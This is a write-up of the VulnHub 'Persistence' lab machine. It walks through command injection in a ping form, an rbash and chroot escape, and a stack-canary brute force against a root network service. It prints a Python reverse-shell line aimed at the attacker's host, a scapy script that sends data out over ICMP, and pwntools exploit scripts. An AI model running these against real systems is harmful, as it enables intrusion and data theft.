Persistence VulnHub Writeup

  1. Service Discovery
  2. A hit, a very palpable hit
  3. Noisy ping
  4. Escaping the jail
  5. What a beautiful shell
  6. Building the exploit
  7. Conclusion

Having completed the awesome Sokar recently, I had to check out the other competition machines hosted by VulnHub. This time, it's Persistence by Sagi and superkojiman.

Service Discovery

As usual, we start off with an nmap scan.

nmap -p 1-65535 -T5 -A -v -sT 192.168.57.101

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-16 08:31 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:31
Completed NSE at 08:31, 0.00s elapsed
Initiating NSE at 08:31
Completed NSE at 08:31, 0.00s elapsed
Initiating ARP Ping Scan at 08:31
Scanning 192.168.57.101 [1 port]
Completed ARP Ping Scan at 08:31, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:31
Completed Parallel DNS resolution of 1 host. at 08:31, 0.02s elapsed
Initiating Connect Scan at 08:31
Scanning 192.168.57.101 [65535 ports]
Discovered open port 80/tcp on 192.168.57.101
Completed Connect Scan at 08:32, 52.89s elapsed (65535 total ports)
Initiating Service scan at 08:32
Scanning 1 service on 192.168.57.101
Completed Service scan at 08:32, 6.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.57.101
NSE: Script scanning 192.168.57.101.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.18s elapsed
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Nmap scan report for 192.168.57.101
Host is up (0.00068s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.4.7
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.4.7
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 08:00:27:25:95:3A (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 49.708 days (since Sun Sep 27 16:33:19 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.68 ms 192.168.57.101

NSE: Script Post-scanning.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.28 seconds
           Raw packets sent: 51 (4.868KB) | Rcvd: 27 (2.280KB)

So we've got a single port open, apparently backed by an nginx server.

After browsing to the site, we're presented with the Dali painting 'The Persistence of Memory'.

This looks to be a digital recreation of the original. I run it through exiftool - just in case - but come up empty.

After attempting to access a non-existant PHP file (index.php), we're presented with the response header 'X-Powered-By: PHP/5.3.3'. This is quite an old version of PHP, so may be useful. I take note of it for later.

Apart from the image being output on the page, there really are no other hints as to what we're looking for, coupled with the fact that there is no robots file forces me to break out the 'Force Browse' feature of ZAP.

A hit, a very palpable hit

ZAP returned a single hit on the 'Force Browse' run - debug.php.

After browsing to this file, we're given a small form, prefxed with the text 'Ping address'.

This just smacks of command injection.

After entering a valid IP and submitting, the output of the script does not change - bugger. I try tacking a command on to the end of the IP, to see if we can inject our own commands.

127.0.0.1; ping -c 2 192.168.57.102

I fire up 'tcpdump' to watch for pings.

tcpdump -i eth1 -e icmp[icmptype] == 8
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
08:56:51.038637 08:00:27:25:95:3a (oui Unknown) > 08:00:27:d9:c6:27 (oui Unknown), ethertype IPv4 (0x0800), length 98: 192.168.57.101 > 192.168.57.102: ICMP echo request, id 3844, seq 1, length 64
08:56:52.040330 08:00:27:25:95:3a (oui Unknown) > 08:00:27:d9:c6:27 (oui Unknown), ethertype IPv4 (0x0800), length 98: 192.168.57.101 > 192.168.57.102: ICMP echo request, id 3844, seq 2, length 64

Awesome! Time to fire up a reverse shell. I start listening on port 6666 with netcat.

nc -lv 0.0.0.0 6666

I then submit the following to the 'debug.php' script.

127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.57.102",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

No dice - no connect back, and the response timed out. I'm guessing some sort of egress filtering is in place. I try to drop a remote PHP shell instead. First of all, I test to see if we have write access to the current directory.

127.0.0.1; echo 1 > test.txt

No luck again - no file was created, or the current working directory is changed prior to executing ping. I attempt to hard code the path to the default document index of nginx.

127.0.0.1; echo 1 > /usr/share/nginx/html/test.txt; echo 1 > /usr/local/nginx/html/test.txt

Still nothing.

Noisy ping

As I know we can get ping traffic out, I decided to try and use ping as a method of exfiltrating data from the target.

This took quite a while to put together, but I ended up with a nice little Python script that would automate the exploitation and extraction of information from the target.

from scapy.all import *
from threading import Thread
from requests import post

def pingListen():
  pkts = sniff(iface="eth1", timeout=1)

  for packet in pkts:
    if packet.getlayer(ICMP):
      if str(packet.getlayer(ICMP).type) == "8":
        sys.stdout.write(packet.getlayer(Raw).load[-1])


if __name__ == "__main__":
  while True:
    try:
      sys.stdout.write('# ')
      command = sys.stdin.readline().strip()
      thread = Thread(target=pingListen)
      thread.start()
      payload = "; TEST=$(%s 2>&1 | xxd -c 1 -ps); for TEST2 in $TEST; do ping -c 1 -p $TEST2 192.168.57.102; done"%command
      r = post('http://192.168.57.101/debug.php', data={"addr":payload})
      thread.join()
    except KeyboardInterrupt:
      break

After running this, I'm presented with a fake terminal within which I can execute commands. It takes a second between issuing the command and receiving the output due to the delay on scapy, but this is required in order to wait for the full output to be transmitted and received.

python persistence-shell.py
WARNING: No route found for IPv6 destination :: (no default route?)
# id
uid=498(nginx) gid=498(nginx) groups=498(nginx)
# ls -alh
total 168K
drwxr-xr-x. 2 root root 4.0K Aug 16  2014 .
drwxr-xr-x. 3 root root 4.0K Mar 12  2014 ..
-rwxr-xr-x. 1 root root  439 Mar 17  2014 debug.php
-rw-r--r--. 1 root root  391 Mar 12  2014 index.html
-rw-r--r--. 1 root root 144K Mar 12  2014 persistence_of_memory_by_tesparg-d4qo048.jpg
-rwsr-xr-x. 1 root root 5.7K Mar 17  2014 sysadmin-tool
# pwd
/usr/share/nginx/html

Ok, so that was why we couldn't write to the directory - it's owned by 'root', and we are not granted write access.

I attempt to cat out the 'debug.php' script, just out of curiosity, but am met with a 'command not found' error..strange..

# cat debug.php
sh: cat: command not found

I have a sniff around, to see which tools we have available to us.

# ls -alh /
total 36K
drwxr-xr-x. 9 root root 4.0K Mar 17  2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17  2014 ..
drwxr-xr-x. 2 root root 4.0K May 30  2014 bin
drwxr-xr-x. 2 root root 4.0K Mar 12  2014 dev
drwxr-xr-x. 7 root root 4.0K Mar 12  2014 etc
drwxr-xr-x. 2 root root 4.0K Mar 12  2014 lib
drwxrwxrwt. 2 root root 4.0K Aug 16  2014 tmp
drwxr-xr-x. 7 root root 4.0K Mar 12  2014 usr
drwxr-xr-x. 7 root root 4.0K Mar 12  2014 var
# ls -alh /usr
total 28K
drwxr-xr-x. 7 root root 4.0K Mar 12  2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17  2014 ..
drwxr-xr-x. 2 root root 4.0K Aug 15  2014 bin
drwxr-xr-x. 5 root root 4.0K Mar 17  2014 lib
drwxr-xr-x. 2 root root 4.0K Mar 12  2014 libexec
drwxr-xr-x. 2 root root 4.0K Mar 12  2014 sbin
drwxr-xr-x. 3 root root 4.0K Mar 12  2014 share
# ls -lah /bin /usr/bin
/bin:
total 2.0M
drwxr-xr-x. 2 root root 4.0K May 30  2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17  2014 ..
-rwxr-xr-x. 1 root root 849K Mar 12  2014 bash
-rwxr-xr-x. 1 root root  23K Mar 17  2014 echo
-rwxr-xr-x. 1 root root 111K Mar 12  2014 ls
-rwxr-xr-x. 1 root root  43K Mar 12  2014 mkdir
-rwsr-xr-x. 1 root root  37K Mar 12  2014 ping
-rwxr-xr-x. 1 root root 849K Mar 12  2014 sh
-rwxr-xr-x. 1 root root  34K Mar 12  2014 su
-rwxr-xr-x. 1 root root  48K May 30  2014 touch
-rwxr-xr-x. 1 root root  23K Mar 12  2014 uname

/usr/bin:
total 132K
drwxr-xr-x. 2 root root 4.0K Aug 15  2014 .
drwxr-xr-x. 7 root root 4.0K Mar 12  2014 ..
-rwxr-xr-x. 1 root root  29K Mar 17  2014 base64
-rwxr-xr-x. 1 root root  27K Mar 12  2014 id
-rwxr-xr-x. 1 root root 3.6K Mar 17  2014 python
-rwxr-xr-x. 1 root root 3.6K Mar 17  2014 python2.6
-rwxr-xr-x. 1 root root  39K Aug 15  2014 tr
-rwxr-xr-x. 1 root root  14K Aug 15  2014 xxd

Not much at all..this smells of a jailed shell to me.

Escaping the jail

Before rushing ahead, I go back a few steps. In the nginx root directory, there was a binary named 'sysadmin-tool'. This is owned by 'root', and has the SUID bit set. As this is in the root directory for nginx, I simply download it with my browser and get digging.

After loading the binary into Hopper, I check out the generated C-style code. There's only one function (main).

void main(int arg0, int arg1) {
    esp = (esp & 0xfffffff0) - 0x20;
    if (arg0 != 0x2) {
            puts("Usage: sysadmin-tool --activate-service");
    }
    else {
            if (strncmp(*(arg1 + 0x4), "--activate-service", 0x12) != 0x0) {
                    puts("Usage: sysadmin-tool --activate-service");
            }
            else {
                    setreuid(0x0, 0x0);
                    mkdir("breakout", 0x1c0);
                    chroot("breakout");
                    while (*(esp + 0x1c) <= 0x63) {
                            chdir(0x8048728);
                    }
                    chroot(0x804872b);
                    system("/bin/sed -i 's/^#//' /etc/sysconfig/iptables");
                    system("/sbin/iptables-restore < /etc/sysconfig/iptables");
                    puts("Service started...");
                    puts("Use avida:dollars to access.");
                    rmdir("/nginx/usr/share/nginx/html/breakout");
            }
    }
    return;
}

So, it looks like this binary will escape out of the jail, enable some firewall rules (by replacing all hash characters with nothing), and then refresh the firewall. It then handily gives us some credentials, so I'm guessing the service it opens is SSH. I execute the binary..

# ./sysadmin-tool --activate-service
Service started...
Use avida:dollars to access.

..and then do another port scan.

nmap -p 1-65535 -T5 -A -v -sT 192.168.57.101

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-16 12:22 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:22
Completed NSE at 12:22, 0.00s elapsed
Initiating NSE at 12:22
Completed NSE at 12:22, 0.00s elapsed
Initiating ARP Ping Scan at 12:22
Scanning 192.168.57.101 [1 port]
Completed ARP Ping Scan at 12:22, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:22
Completed Parallel DNS resolution of 1 host. at 12:22, 0.03s elapsed
Initiating Connect Scan at 12:22
Scanning 192.168.57.101 [65535 ports]
Discovered open port 22/tcp on 192.168.57.101
Discovered open port 80/tcp on 192.168.57.101
Connect Scan Timing: About 45.82% done; ETC: 12:23 (0:00:37 remaining)
Completed Connect Scan at 12:22, 54.07s elapsed (65535 total ports)
Initiating Service scan at 12:22
Scanning 2 services on 192.168.57.101
Completed Service scan at 12:23, 6.01s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.57.101
NSE: Script scanning 192.168.57.101.
Initiating NSE at 12:23
Completed NSE at 12:23, 0.26s elapsed
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Nmap scan report for 192.168.57.101
Host is up (0.00086s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
|   1024 f6:c7:fe:24:09:fa:dc:db:ea:7e:33:6a:f5:36:58:35 (DSA)
|_  2048 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54 (RSA)
80/tcp open  http    nginx 1.4.7
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.4.7
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 08:00:27:25:95:3A (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 0.049 days (since Mon Nov 16 11:12:12 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms 192.168.57.101

NSE: Script Post-scanning.
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.43 seconds
           Raw packets sent: 51 (4.868KB) | Rcvd: 27 (2.280KB)

What a beautiful shell

I login to SSH with the credntials we've been provided, and am rewarded with a real shell.

  ssh avida@192.168.57.101
  The authenticity of host '192.168.57.101 (192.168.57.101)' can't be established.
  RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
  Are you sure you want to continue connecting (yes/no)? yes
  Warning: Permanently added '192.168.57.101' (RSA) to the list of known hosts.
  avida@192.168.57.101's password:
  Last login: Mon Mar 17 17:13:40 2014 from 10.0.0.210
  -rbash-4.1$
  -rbash-4.1$ cd usr
  -rbash: cd: restricted
  -rbash-4.1$ cd /
  -rbash: cd: restricted

Oh, lovely. We've been dropped into another jail, this time using the command 'rbash'.

After doing some reading, I need to find a way to execute an arbitrary path using a binary available to me.

I inspect the PATH environment variable, and get a list of all the binaries available to me.

-rbash-4.1$ echo $PATH
/home/avida/usr/bin
-rbash-4.1$ ls -lah /home/avida/usr/bin
total 8.0K
drwxr-x---. 2 root avida 4.0K Mar 17  2014 .
drwxr-xr-x. 3 root avida 4.0K Mar 17  2014 ..
lrwxrwxrwx. 1 root root     8 Mar 17  2014 cat -> /bin/cat
lrwxrwxrwx. 1 root root    14 Mar 17  2014 clear -> /usr/bin/clear
lrwxrwxrwx. 1 root root     7 Mar 17  2014 cp -> /bin/cp
lrwxrwxrwx. 1 root root     8 Mar 17  2014 cut -> /bin/cut
lrwxrwxrwx. 1 root root     7 Mar 17  2014 dd -> /bin/dd
lrwxrwxrwx. 1 root root     7 Mar 17  2014 df -> /bin/df
lrwxrwxrwx. 1 root root    13 Mar 17  2014 diff -> /usr/bin/diff
lrwxrwxrwx. 1 root root    12 Mar 17  2014 dir -> /usr/bin/dir
lrwxrwxrwx. 1 root root    11 Mar 17  2014 du -> /usr/bin/du
lrwxrwxrwx. 1 root root    13 Mar 17  2014 file -> /usr/bin/file
lrwxrwxrwx. 1 root root    12 Mar 17  2014 ftp -> /usr/bin/ftp
lrwxrwxrwx. 1 root root     9 Mar 17  2014 grep -> /bin/grep
lrwxrwxrwx. 1 root root    11 Mar 17  2014 gunzip -> /bin/gunzip
lrwxrwxrwx. 1 root root     9 Mar 17  2014 gzip -> /bin/gzip
lrwxrwxrwx. 1 root root    11 Mar 17  2014 id -> /usr/bin/id
lrwxrwxrwx. 1 root root    14 Mar 17  2014 ifconfig -> /sbin/ifconfig
lrwxrwxrwx. 1 root root    14 Mar 17  2014 iftop -> /usr/bin/iftop
lrwxrwxrwx. 1 root root    11 Mar 17  2014 ipcalc -> /bin/ipcalc
lrwxrwxrwx. 1 root root     9 Mar 17  2014 kill -> /bin/kill
lrwxrwxrwx. 1 root root    15 Mar 17  2014 locale -> /usr/bin/locale
lrwxrwxrwx. 1 root root     7 Mar 17  2014 ls -> /bin/ls
lrwxrwxrwx. 1 root root    14 Mar 17  2014 lscpu -> /usr/bin/lscpu
lrwxrwxrwx. 1 root root    15 Mar 17  2014 md5sum -> /usr/bin/md5sum
lrwxrwxrwx. 1 root root    10 Mar 17  2014 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root     9 Mar 17  2014 nano -> /bin/nano
lrwxrwxrwx. 1 root root    12 Mar 17  2014 netstat -> /bin/netstat
lrwxrwxrwx. 1 root root     9 Mar 17  2014 nice -> /bin/nice
lrwxrwxrwx. 1 root root    15 Mar 17  2014 passwd -> /usr/bin/passwd
lrwxrwxrwx. 1 root root     9 Mar 17  2014 ping -> /bin/ping
lrwxrwxrwx. 1 root root     7 Mar 17  2014 ps -> /bin/ps
lrwxrwxrwx. 1 root root    15 Mar 17  2014 pstree -> /usr/bin/pstree
lrwxrwxrwx. 1 root root     8 Mar 17  2014 pwd -> /bin/pwd
lrwxrwxrwx. 1 root root    15 Mar 17  2014 rename -> /usr/bin/rename
lrwxrwxrwx. 1 root root    15 Mar 17  2014 renice -> /usr/bin/renice
lrwxrwxrwx. 1 root root     7 Mar 17  2014 rm -> /bin/rm
lrwxrwxrwx. 1 root root    10 Mar 17  2014 rmdir -> /bin/rmdir
lrwxrwxrwx. 1 root root    11 Mar 17  2014 route -> /sbin/route
lrwxrwxrwx. 1 root root    12 Mar 17  2014 seq -> /usr/bin/seq
lrwxrwxrwx. 1 root root     9 Mar 17  2014 sort -> /bin/sort
lrwxrwxrwx. 1 root root    15 Mar 17  2014 telnet -> /usr/bin/telnet
lrwxrwxrwx. 1 root root    12 Mar 17  2014 top -> /usr/bin/top
lrwxrwxrwx. 1 root root    10 Mar 17  2014 touch -> /bin/touch
lrwxrwxrwx. 1 root root    13 Mar 17  2014 uniq -> /usr/bin/uniq
lrwxrwxrwx. 1 root root    15 Mar 17  2014 uptime -> /usr/bin/uptime
lrwxrwxrwx. 1 root root    11 Mar 17  2014 wc -> /usr/bin/wc
lrwxrwxrwx. 1 root root    14 Mar 17  2014 which -> /usr/bin/which
lrwxrwxrwx. 1 root root    12 Mar 17  2014 who -> /usr/bin/who
lrwxrwxrwx. 1 root root    15 Mar 17  2014 whoami -> /usr/bin/whoami

I note that 'nano' is available to use. I know that 'nano' uses the program 'spell' for spell checking out the of box. We can change the path to the 'spell' program using a command line parameter. If we change the location to '/bin/sh', then write the string '/bin/bash' in an empty file and trigger spell checking with CTRL+T, we'll be dropped into an actual shell!

nano -s /bin/sh

Next, I reset the PATH environment variable and check out what this user has the permission to do with sudo.

bash-4.1$ export PATH='/usr/bin:/bin:/sbin:/home/avida/usr/bin'
bash-4.1$ sudo -l
[sudo] password for avida:
Sorry, user avida may not run sudo on persistence.

Damn - never mind, we're at least in a full shell now. Time to get digging.

bash-4.1$ find / -perm +6000 -type f 2>/dev/null
/sbin/pam_timestamp_check
/sbin/netreport
/sbin/unix_chkpwd
/usr/sbin/postqueue
/usr/sbin/usernetctl
/usr/sbin/postdrop
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/ssh-agent
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/wall
/usr/bin/write
/usr/bin/chage
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/libexec/pt_chown
/bin/fusermount
/bin/ping
/bin/ping6
/bin/mount
/bin/umount
/bin/su
/nginx/usr/share/nginx/html/sysadmin-tool
/nginx/bin/ping

Nothing much of interest here unfortunately.

I check for locally running services using netstat.

bash-4.1$ netstat -al --numeric-ports | grep LISTEN
tcp        0      0 *:3333                      *:*                         LISTEN      
tcp        0      0 localhost:9000              *:*                         LISTEN      
tcp        0      0 *:80                        *:*                         LISTEN      
tcp        0      0 *:22                        *:*                         LISTEN      
tcp        0      0 localhost:25                *:*                         LISTEN      
tcp        0      0 *:22                        *:*                         LISTEN      
tcp        0      0 localhost:25                *:*                         LISTEN

Well, we knew about ports 80 and 22, but ports 25, 3333 and 9000 are all news to us.

Connecting to port 25, we're met by a standard SMTP greeting message. Port 333 however gives us something rather..curious..

bash-4.1$ nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
>

As we're not root, we can't directly find out which binary this port is being listened to by. Instead, I get a list of processes prior to connecting and a list of processes after connecting. As most network services fork on connection, we should see a difference in the process list containing the forked process.

# Before connecting
bash-4.1$ ps aux > /tmp/ps1
# After connecting
bash-4.1$ ps aux > /tmp/ps2
bash-4.1$ diff /tmp/ps1 /tmp/ps2
82,84c82,83
< avida     9346  0.0  0.3   5216  1632 pts/0    S+   07:55   0:00 /bin/sh
< root      9526  0.0  0.0      0     0 ?        Z    08:09   0:00 [wopr] <defunct>
< root      9568  0.4  0.6  11884  3324 ?        Ss   08:12   0:00 sshd: avida [priv]
---
> avida     9346  0.0  0.3   5216  1632 pts/0    S    07:55   0:00 /bin/sh
> root      9568  0.3  0.6  11884  3324 ?        Ss   08:12   0:00 sshd: avida [priv]
89,90c88,91
< avida     9593  0.0  0.2   5124  1484 pts/1    S    08:12   0:00 /bin/sh
< avida     9594  2.0  0.2   4932  1048 pts/1    R+   08:12   0:00 ps aux
---
> avida     9593  0.0  0.2   5124  1488 pts/1    S    08:12   0:00 /bin/sh
> avida     9595  0.1  0.1   3396   704 pts/0    S+   08:12   0:00 nc localhost 3333
> root      9596  0.0  0.0   2004   168 ?        S    08:12   0:00 /usr/local/bin/wopr
> avida     9604  0.0  0.2   4932  1048 pts/1    R+   08:13   0:00 ps aux

The only process that jumps out here is located at '/usr/local/bin/wopr'.

I Base64 encode the binary, transfer it to my test machine, decode it and then open it up in Hopper (I actually moved to using the Retargetable Decompiler instead). I then take a copy of the generated source for the binary.

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2015 Retargetable Decompiler <info@retdec.com>
//

#include <errno.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>

// ------------------------ Structures ------------------------

struct sockaddr {
    int16_t e0;
    char e1[14];
};

// ------------------- Function Prototypes --------------------

int32_t get_reply(char * a1, struct sockaddr * a2, char * fd);

// ------------------------ Functions -------------------------

// Address range: 0x8048774 - 0x80487dd
int32_t get_reply(char * a1, struct sockaddr * a2, char * fd) {
    int32_t v1 = *(int32_t *)20; // 0x804878d
    int32_t v2;
    memcpy((char *)&v2, a1, (int32_t)a2);
    write((int32_t)fd, "[+] yeah, I don't think so\n", 27);
    int32_t v3 = *(int32_t *)20; // 0x80487cf
    if (v3 != v1) {
        // 0x80487d7
        __stack_chk_fail();
        // branch -> 0x80487dc
    }
    // 0x80487dc
    return v3 ^ v1;
}

// Address range: 0x80487de - 0x8048b4f
int main(int argc, char ** argv) {
    int32_t option_value = 1; // bp-564
    int32_t addr_len = 16; // bp-568
    struct sockaddr * stat_loc = (struct sockaddr *)1;
    int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x8048838
    if (sock_fd <= 0) {
        // 0x804884c
        perror("socket");
        int32_t status = *__errno_location(); // 0x804885d
        exit(status);
        // UNREACHABLE
    }
    // 0x8048867
    stat_loc = (struct sockaddr *)1;
    if (setsockopt(sock_fd, SO_DEBUG, 2, (char *)&option_value, 4) <= 0) {
        // 0x804889b
        perror("setsockopt");
        int32_t status2 = *__errno_location(); // 0x80488ac
        exit(status2);
        // UNREACHABLE
    }
    int16_t addr = 2;
    htons(3333);
    stat_loc = NULL;
    int32_t v1;
    memset((char *)&v1, 0, 8);
    if (bind(sock_fd, (struct sockaddr *)&addr, 16) <= 0) {
        // 0x8048921
        perror("bind");
        int32_t status3 = *__errno_location(); // 0x8048932
        exit(status3);
        // UNREACHABLE
    }
    // 0x804893c
    puts("[+] bind complete");
    stat_loc = (struct sockaddr *)20;
    if (listen(sock_fd, 20) <= 0) {
        // 0x8048962
        perror("listen");
        int32_t status4 = *__errno_location(); // 0x8048973
        exit(status4);
        // UNREACHABLE
    }
    // 0x804897d
    stat_loc = (struct sockaddr *)"/tmp/log";
    setenv("TMPLOG", "/tmp/log", 1);
    puts("[+] waiting for connections");
    puts("[+] logging queries to $TMPLOG");
    int32_t addr2;
    int32_t accepted_sock_fd = accept(sock_fd, (struct sockaddr *)&addr2, &addr_len); // 0x80489ce
    if (accepted_sock_fd <= 0) {
        // 0x80489e2
        perror("accept");
        int32_t status5 = *__errno_location(); // 0x80489f3
        exit(status5);
        // UNREACHABLE
    }
    // 0x80489fd
    puts("[+] got a connection");
    if (fork() != 0) {
        // 0x8048b0e
        close(accepted_sock_fd);
        stat_loc = NULL;
        waitpid(-1, (int32_t *)&stat_loc, WNOHANG);
        return accepted_sock_fd;
    }
    // 0x8048a16
    stat_loc = (struct sockaddr *)"[+] hello, my name is sploitable\n";
    write(accepted_sock_fd, "[+] hello, my name is sploitable\n", 33);
    stat_loc = (struct sockaddr *)"[+] would you like to play a game?\n";
    write(accepted_sock_fd, "[+] would you like to play a game?\n", 35);
    stat_loc = (struct sockaddr *)"> ";
    write(accepted_sock_fd, "> ", 2);
    stat_loc = NULL;
    int32_t buf;
    memset((char *)&buf, 0, 512);
    struct sockaddr * v2 = (struct sockaddr *)read(accepted_sock_fd, (char *)&buf, 512); // 0x8048aae_0
    stat_loc = v2;
    get_reply((char *)&buf, v2, (char *)accepted_sock_fd);
    stat_loc = (struct sockaddr *)"[+] bye!\n";
    write(accepted_sock_fd, "[+] bye!\n", 9);
    close(accepted_sock_fd);
    exit(0);
    // UNREACHABLE
}

// --------------- Dynamically Linked Functions ---------------

// int * __errno_location(void);
// void __stack_chk_fail(void);
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
// int close(int);
// void exit(int);
// pid_t fork();
// uint16_t htons(uint16_t hostshort);
// int listen(int socket, int backlog);
// void * memcpy(void *restrict, const void *restrict, size_t);
// void * memset(void *, int, size_t);
// void perror(const char *);
// int puts(const char *);
// ssize_t read(int fildes, void *buf, size_t nbyte);
// int setenv(const char *, const char *, int);
// int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
// int socket(int domain, int type, int protocol);
// pid_t waitpid(pid_t, int *, int);
// ssize_t write(int fildes, const void *buf, size_t nbyte);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (i686-redhat-linux-gcc) (4.6.3)
// Detected functions: 2
// Decompiler release: v2.1.1 (2015-11-11)
// Decompilation date: 2015-11-16 14:18:14

So, this process is running as root. I'm guessing we need to discover (and exploit) a vulnerability in order to gain a shell.

After walking through the binary in gdb, I made some notes with my findings.

  • 0x08048a89 main sets 0x200 bytes at offset 0xffffce24 to 0x0
  • 0x08048aa9 main reads 0x200 bytes from fd 0x4 (the socket) into 0xffffce24
  • write AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA to STDIN
  • 0x08048ad1 calls get_reply with pointer to previous input (0xffce24), length (0x200) and file descriptor 0x4 (socket)
  • 0x080487ab calls memcpy with destination 0xffffcda6, source 0xffffce24, and length 0x200
  • 0x080487c6 calls write on file descriptor 0x4, address 0x8048c14 and length 0x1b (string: '[+] yeah, I don't think so\n')
  • 0x080487cb Moves value at EBP-0x4 into EAX, ready for stack canary check - contains value from generated string at offset 30 ';AA)'
  • 0x080487ce XORs EAX with the stack canary
  • 0x080487dd if stack canary matched, returns to value in stack from input string at offset 38 'AaAA'
  • First fork on XOR results in value 0xc602b13b with data ';AA)'
  • Second fork on XOR results in value 0xc602b13b with data ';AA)'
  • Static canary between forks means we can bruteforce the canary by sending strings of increasing length as the payload, and checking for the string 'bye' on the fork (which means it passed the canary check)

Using the above, I put together a small Python script that would allow be to bruteforce the canary.

from pwn import *

canary_offset = 30
canary_length = 4
canary = []

context.log_level = 'error'
while len(canary)<4:
        for i in range(0,256):
                print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
                payload = 'A' * canary_offset
                payload += ''.join(canary)
                payload += chr(i)
                r = remote('127.0.0.1', 3333)
                r.recvuntil('> ')
                r.send(payload)
                data = r.recvall()
                if 'bye' in data:
                        canary.append(chr(i))
                        break

print canary

Once this loop completes, we are provided with the current valid canary. From here, we need to build an exploit to gain a shell.

Building the exploit

To make things easier, I open an SSH session, exposing port 3333 on localhost on the target machine to my testing machine.

ssh -L 3333:localhost:3333 avida@192.168.57.101

As a proof of concept, I extend the exploit script above to execute a simple payload, which will essentially output for a second time the 'exit' string from the binary.

from pwn import *

canary_offset = 30
canary_length = 4
canary = []
context.log_level = 'error'

host = '127.0.0.1'

while len(canary)<4:
        for i in range(0,256):
                print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
                payload = 'A' * canary_offset
                payload += ''.join(canary)
                payload += chr(i)
                r = remote(host, 3333)
                r.recvuntil('> ')
                r.send(payload)
                data = r.recvall()
                if 'bye' in data:
                        canary.append(chr(i))
                        break

print canary

print 'Exploiting'

payload = 'A' * canary_offset
payload += ''.join(canary)
payload += struct.pack('I', 0xdeadbeef) # Padding
payload += struct.pack('I', 0x804858c) # write
payload += struct.pack('I', 0xdeadbeef) # Return address
payload += struct.pack('I', 0x4) # File descriptor
payload += struct.pack('I', 0x8048c14) # address to string '[+] yeah, I don't think so'
payload += struct.pack('I', 0x1b) # Length of string

r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
print data

When this script is run, we discover the canary, and then get the expected output.

